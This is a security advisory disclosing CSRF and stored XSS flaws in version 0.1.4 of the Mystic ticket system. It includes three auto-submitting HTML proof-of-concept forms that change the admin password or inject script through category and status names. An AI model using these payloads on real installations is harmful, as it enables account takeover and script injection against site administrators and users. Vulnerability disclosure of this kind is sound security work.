Cross-site Request Forgery (CSRF) Vulnerabilities in Mystic

Advisory ID:HTB22533
Product:Mystic
Vendor:Hulihan Applications
Vulnerable Versions:0.1.4 and probably prior
Tested Version:0.1.4
Advisory Publication:July 27, 2010 [without technical details]
Vendor Notification:July 27, 2010
Public Disclosure:August 10, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Mystic which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Mystic
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/change_password. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s password.
Exploitation example:
<form action="http://host/admin/change_password" method="post" name="main" >
<input type="hidden" name="user[password]" value="12345" />
<input type="hidden" name="user[password_confirmation]" value="12345" />
<input type="hidden" name="commit" value="Change Password" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/create_new_category. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary sections. Due to insufficient sanitation of input data in the “category[name]” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/create_new_category" method="post" name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >
</form>
<script>
document.main.submit();
</script>


1.3 The vulnerability exists due to insufficient validation of the request origin in admin/create_new_status. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new ticket status. Due to insufficient sanitation of input data in the “status[name]” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/create_new_status" method="post" name="main" >
<input type="hidden" name="status[id]" value="999" >
<input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' >
<input type="hidden" name="commit" value="Create New Status!" >
</form>
<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22667 - https://www.immuniweb.com/advisory/HTB22667 - Multiple Vulnerabilities in Mystic
[2] Mystic - http://hulihanapplications.com/projects/mystic - Mystic is an open source trouble ticket system written in ruby on rails(RoR).
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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